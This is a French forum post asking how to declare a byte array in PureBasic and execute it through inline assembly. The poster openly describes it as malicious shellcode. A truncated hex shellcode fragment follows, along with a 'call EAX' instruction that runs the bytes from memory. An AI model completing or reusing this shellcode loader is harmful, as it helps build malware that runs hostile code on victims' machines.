tableau de bytes
Publié : lun. 09/mars/2015 17:58
Bonjour,
J'ai de gros problème de syntaxe pour déclarer un tableau de bytes , et surtout pour l'appeler en ASM inline,
je connais la démarche à effectuer en delphi et c , en purebasic, je ne trouve pas trop d'infos vu qu'on touche là à un sujet sensible (shellcoding)
si vous aviez une piste , je suis preneur (en message privé si vous ne voulez pas que ça apparaisse en clair sur le forum,
Merci,
j'ai mon tableau comme ceci , peut être j'ai déjà tout faux , je ne laisse volontairement que quelques lignes, il est méchant le shellcode,
J'ai de gros problème de syntaxe pour déclarer un tableau de bytes , et surtout pour l'appeler en ASM inline,
je connais la démarche à effectuer en delphi et c , en purebasic, je ne trouve pas trop d'infos vu qu'on touche là à un sujet sensible (shellcoding)
si vous aviez une piste , je suis preneur (en message privé si vous ne voulez pas que ça apparaisse en clair sur le forum,
Merci,
j'ai mon tableau comme ceci , peut être j'ai déjà tout faux , je ne laisse volontairement que quelques lignes, il est méchant le shellcode,
Code : Tout sélectionner
DataSection
Array:
Data.b $fc,$e8,$89,$00,$00,$00,$60,$89,$e5,$31,$d2,$64,$8b,$52,$30
Data.b $8b,$52,$0c,$8b,$52,$14,$8b,$72,$28,$0f,$b7,$4a,$26,$31,$ff
Data.b $31,$c0,$ac,$3c,$61,$7c,$02,$2c,$20,$c1,$cf,$0d,$01,$c7,$e2
Data.b $f0,$52,$57,$8b,$52,$10,$8b,$42,$3c,$01,$d0,$8b,$40,$78,$85
Data.b $c0,$74,$4a,$01,$d0,$50,$8b,$48,$18,$8b,$58,$20,$01,$d3,$e3
Data.b $3c,$49,$8b,$34,$8b,$01,$d6,$31,$ff,$31,$c0,$ac,$c1,$cf,$0d
Data.b $01,$c7,$38,$e0,$75,$f4,$03,$7d,$f8,$3b,$7d,$24,$75,$e2,$58
EndDataSection
lea, EAX, Array
call EAX